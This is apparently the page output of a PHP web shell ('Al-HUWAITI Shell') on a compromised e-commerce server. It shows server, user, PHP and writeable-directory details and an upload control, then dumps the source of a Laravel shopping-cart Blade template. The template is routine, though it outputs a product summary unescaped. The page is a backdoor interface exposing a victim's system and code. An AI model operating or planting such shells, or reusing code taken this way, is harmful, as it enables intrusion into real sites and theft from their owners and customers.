Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/resources/views/frontend/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/resources/views/frontend/pages/cart.blade.php
@extends('frontend.layouts.master')
@section('title', 'Cart Page')
@section('main-content')
    <!-- Breadcrumbs -->
    {{-- <div class="breadcrumbs">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <div class="bread-inner">
                        <ul class="bread-list">
                            <li><a href="{{ 'home' }}">Home<i class="ti-arrow-right"></i></a></li>
                            <li class="active"><a href="">Cart</a></li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </div> --}}
    <!-- End Breadcrumbs -->

    <!-- Shopping Cart -->
    <div class="shopping-cart mb-5">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <h2 class="my-4">Cart ({!! count($inCartProducts) !!})</h2>

                    <div
                        style="
                            padding: 20px 0;
                            border-radius: 24px;
                            background: #F5FFFA;"
                    >
                        <!-- Shopping Summary -->
                        <table class="table shopping-summery">
                            <thead>
                                <tr class="main-hading font-weight-light" style="color: #4C4C4C">
                                    <th>Item Details</th>
                                    <th>Quantity</th>
                                    <th>Price</th>
                                    <th>Subtotal</th>
                                </tr>
                            </thead>
                            <tbody id="cart_item_list">
                                <form action="{{ route('cart.update') }}" method="POST">
                                    @csrf
                                    @if ($inCartProducts->count())
                                        @foreach ($inCartProducts as $key => $cart)
                                            <tr>
                                                @php
                                                    $photo = explode(',', $cart->product['photo']);
                                                @endphp
                                                <td class="image" data-title="No">
                                                    <div>
                                                        <div class="d-inline-block mr-3">
                                                            <img class="img-fluid" src="{{ $photo[0] }}">
                                                        </div>
                                                        <div class="d-inline-block">
                                                            <p class="product-name"><a
                                                                    href="{{ route('product-detail', $cart->product['slug']) }}"
                                                                    target="_blank">{{ $cart->product['title'] }}</a></p>
                                                            <p class="product-des">{!! $cart['summary'] !!}</p>
                                                            <div>
                                                                <a
                                                                    href="{!! route('cart-delete', $cart->id) !!}"
                                                                    data-title="Remove"
                                                                    class="text-muted"
                                                                ><span
                                                                        class="ti-trash remove-icon mr-2"></span>Remove
                                                                    Item</a>
                                                                {{-- <a href="#0">Save for later</a> --}}
                                                            </div>
                                                        </div>
                                                    </div>
                                                </td>
                                                <td class="qty" data-title="Qty">
                                                    <!-- Input Order -->
                                                    <div class="input-group">
                                                        <div class="button minus">
                                                            <button type="button" class="btn btn-primary btn-number"
                                                                 data-type="minus"
                                                                data-field="quant[{{ $key }}]">
                                                                <i class="ti-minus"></i>
                                                            </button>
                                                        </div>
                                                        <input type="text" name="quant[{{ $key }}]"
                                                            class="input-number" data-min="1" data-max="100"
                                                            value="{{ $cart->quantity }}">
                                                        <input type="hidden" name="qty_id[]" value="{{ $cart->id }}">
                                                        <div class="button plus">
                                                            <button type="button" class="btn btn-primary btn-number"
                                                                data-type="plus" data-field="quant[{{ $key }}]">
                                                                <i class="ti-plus"></i>
                                                            </button>
                                                        </div>
                                                    </div>
                                                    <!--/ End Input Order -->
                                                </td>
                                                <td class="price" data-title="Price">
                                                    <span class="font-weight-bold">{!! config('shop.currency_symbol') !!}
                                                        {{ number_format($cart['price'], 2) }}</span>
                                                </td>
                                                <td class="total-amount cart_single_price" data-title="Total"><span
                                                        class="font-weight-bold">{!! config('shop.currency_symbol') !!}
                                                        {{ number_format($cart['amount'], 2) }}</span></td>
                                            </tr>
                                        @endforeach
                                        <tr>
                                            <td></td>
                                            <td></td>
                                            <td></td>
                                            <td class="">
                                                <button class="btn btn-block btn-success" type="submit">Update</button>
                                            </td>
                                        </tr>
                                    @else
                                        <tr>
                                            <td colspan="5" class="text-center font-weight-bold">
                                                There are no item in carts. <a href="{{ route('product-lists') }}" class="text-e-primary">Continue shopping</a>
                                            </td>
                                        </tr>
                                    @endif

                                </form>
                            </tbody>
                        </table>
                        <!--/ End Shopping Summary -->

                        <!-- Total Amount -->
                        <div class="total-amount">
                            <div class="row">
                                <div class="col-lg-8 col-md-5 col-12">
                                    {{-- <div class="left">
                                        <div class="coupon">
                                            <form action="{{ route('coupon-store') }}" method="POST">
                                                @csrf
                                                <input name="code" placeholder="Enter Your Coupon">
                                                <button class="btn">Apply</button>
                                            </form>
                                        </div>
                                    </div> --}}
                                </div>
                                <div class="col-lg-4 col-md-7 col-12">
                                    <div class="right" style="margin: 20px">
                                        @php
                                            $total_amount = Helper::totalCartPrice();
                                        @endphp

                                        <ul>
                                            <li class="order_subtotal" data-price="{{ Helper::totalCartPrice() }}">
                                                Subtotal
                                                <span class="font-weight-bold">{!! config('shop.currency_symbol') !!}
                                                    {{ number_format(Helper::totalCartPrice(), 2) }}</span>
                                            </li>

                                            <li class="order_subtotal" data-price="{{ Helper::totalCartPrice() }}">
                                                Shipping fee
                                                <span>Not Included yet</span>
                                            </li>

                                            @if (session()->has('coupon'))
                                                @php
                                                    $total_amount = $total_amount - Session::get('coupon')['value'];
                                                @endphp
                                                <li class="coupon_price"
                                                    data-price="{{ Session::get('coupon')['value'] }}">
                                                    You
                                                    Save<span>{!! config('shop.currency_symbol') !!}
                                                        {{ number_format(Session::get('coupon')['value'], 2) }}</span>
                                                </li>
                                            @else
                                                <li>
                                                    Coupon
                                                    <span>No</span>
                                                </li>
                                            @endif

                                            <li class="last font-weight-bold font-px-19" id="order_total_price">
                                                TOTAL
                                                <span>{!! config('shop.currency_symbol') !!}
                                                    {{ number_format($total_amount, 2) }}</span>
                                            </li>
                                        </ul>
                                        <div>
                                            <a href="{{ route('checkout') }}"
                                                class="btn btn-block btn-lg btn-success">Proceed to Checkout</a>
                                            <a href="{{ route('product-lists') }}"
                                                class="btn btn-block btn-lg btn-success">Continue
                                                shopping</a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <!--/ End Total Amount -->
                    </div>

                </div>
            </div>
            <div class="row">
                <div class="col-12">
                </div>
            </div>
        </div>
    </div>
    <!--/ End Shopping Cart -->


@endsection
@push('styles')
    <style>
        li.shipping {
            display: inline-flex;
            width: 100%;
            font-size: 14px;
        }

        li.shipping .input-group-icon {
            width: 100%;
            margin-left: 10px;
        }

        .input-group-icon .icon {
            position: absolute;
            left: 20px;
            top: 0;
            line-height: 40px;
            z-index: 3;
        }

        .form-select {
            height: 30px;
            width: 100%;
        }

        .form-select .nice-select {
            border: none;
            border-radius: 0px;
            height: 40px;
            background: #f6f6f6 !important;
            padding-left: 45px;
            padding-right: 40px;
            width: 100%;
        }

        .list li {
            margin-bottom: 0 !important;
        }

        .list li:hover {
            background: #3CC78F !important;
            color: white !important;
        }

        .form-select .nice-select::after {
            top: 14px;
        }

    </style>
@endpush
@push('scripts')
    <script>
        $(document).ready(function() {
            $('.shipping select[name=shipping]').change(function() {
                let cost = parseFloat($(this).find('option:selected').data('price')) || 0;
                let subtotal = parseFloat($('.order_subtotal').data('price'));
                let coupon = parseFloat($('.coupon_price').data('price')) || 0;

                $('#order_total_price span').text('$' + (subtotal + cost - coupon).toFixed(2));
            });

        });
    </script>

@endpush

Al-HUWAITI Shell